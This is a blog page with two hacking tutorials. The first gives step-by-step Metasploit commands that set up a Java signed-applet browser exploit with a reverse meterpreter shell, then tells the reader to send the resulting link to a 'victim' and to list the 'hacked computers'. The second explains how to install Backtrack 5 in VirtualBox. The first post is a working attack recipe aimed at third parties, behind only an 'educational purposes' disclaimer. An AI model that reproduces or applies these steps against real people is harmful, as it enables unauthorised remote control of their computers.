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Showing posts with label Backtrack. Show all posts
Showing posts with label Backtrack. Show all posts

Sunday, April 28, 2013

Hacking Windows With Metasploit (Tutorial 1)

This will be the first in a series of windows hacking tutorials using metasploit. The Metasploit Framework is one of the most valuable tools to a hacker/pentester. It allows you to use exploits in windows machines to open a meterpreter session and gain control of the victim's computer.

This tutorial will teach you a simple way to exploit a windows machine using metasploit.

THIS IS FOR EDUCATIONAL PURPOSES ONLY!!!
I AM NOT RESPONSIBLE FOR MISUSE

MSFCONSOLE

DIFFICULTY: 2

  1. Open up backtrack
  2. Open Terminal
  3. Type 'ifconfig'
  4. Write down your ip address
  5. Open a new Terminal window
  6. Type 'msfconsole' (Metasploit should look like in picture on top)
  7. Type 'use exploit/multi/browser/java_signed_applet' then hit enter
  8. Type 'set payload windows/meterpreter/reverse_tcp' then hit enter
  9. Type 'set lhost 192.168.1.110' (CHANGE 192.168.1.110 TO THE IP ADDRESS YOU WROTE IN STEP 4)
  10. Type 'set lport 443' then hit enter
  11. Type 'set srvport 80' then hit enter
  12. Type 'set uripath NotSoElite' (YOU CAN CHANGE NotSoElite TO ANY NAME)
  13. Type 'exploit' then hit enter---------------(SEE IMAGE BELOW)
  14. Now send
    'http://youripaddress:80/step12'
    to the victim's computer and they
    will be hacked
  15. Use 'sessions -l' to see hacked computers
  16. DONE!





THANKS TO D@RK TruTH FOR ORIGINAL TUTORIAL AND PICS
(‾⌣‾)♉ PEACE!

Saturday, April 27, 2013

How to install Backtrack 5 R3 GNOME (VM & LIVE)



Backtrack is a linux based operating system which comes pre-set with almost every pentesting (hacking) tool available.

Installing on a VM (Virtual Machine) will allow you to run backtrack on your pc without rebooting.

Installing LIVE requires a USB and will require a reboot, but it will work on almost any computer without installing additional software. Basically you are installing a boot-able operating system on a USB.

TUTORIAL 1: VM

  1. Install Virtual Box 
  2. Go to the backtrack download
  3. Click download (DO NOT CLICK REGISTER AND DOWNLOAD)
  4. Choose Backtrack 5 R3
  5. Choose GNOME
  6. Choose ISO
  7. Edit other settings to your will
  8. Click the 'Click To Download' Button
  9. Wait for it to download
  10. Load Virtual Box
  11. Click New
  12. Name it whatever you want
  13. Put the 'Type' as Linux
  14. Put the 'Version' as Ubuntu
  15. Add as much RAM as you want (STAY IN THE GREEN OR ELSE YOUR COMPUTER WILL BE POOP)
  16. Check 'Create a virtual hard drive now' and click Create
  17. Check 'VDI' then click next
  18. Check 'Dynamically Allocated' then click next
  19. Increase the size as much as you want then click 'Create'
  20. Select the name you created in step 11
  21. Click 'Settings'
  22. Go to 'Storage'
  23. Click on 'Empty'
  24. Look under 'Attributes' (TOP OF THE RIGHT COLUMN)
  25. Click the CD Next to where it says 'IDE Secondary Master'
  26. Click 'Choose a Virtual CD/DVD disk file...'
  27. Browse for the .iso file you downloaded in step 9
  28. Click 'Open'
  29. Click 'OK'
  30. Select it (Do the same as in step 20)
  31. Click 'Start' 
  32. DONE!!!
 

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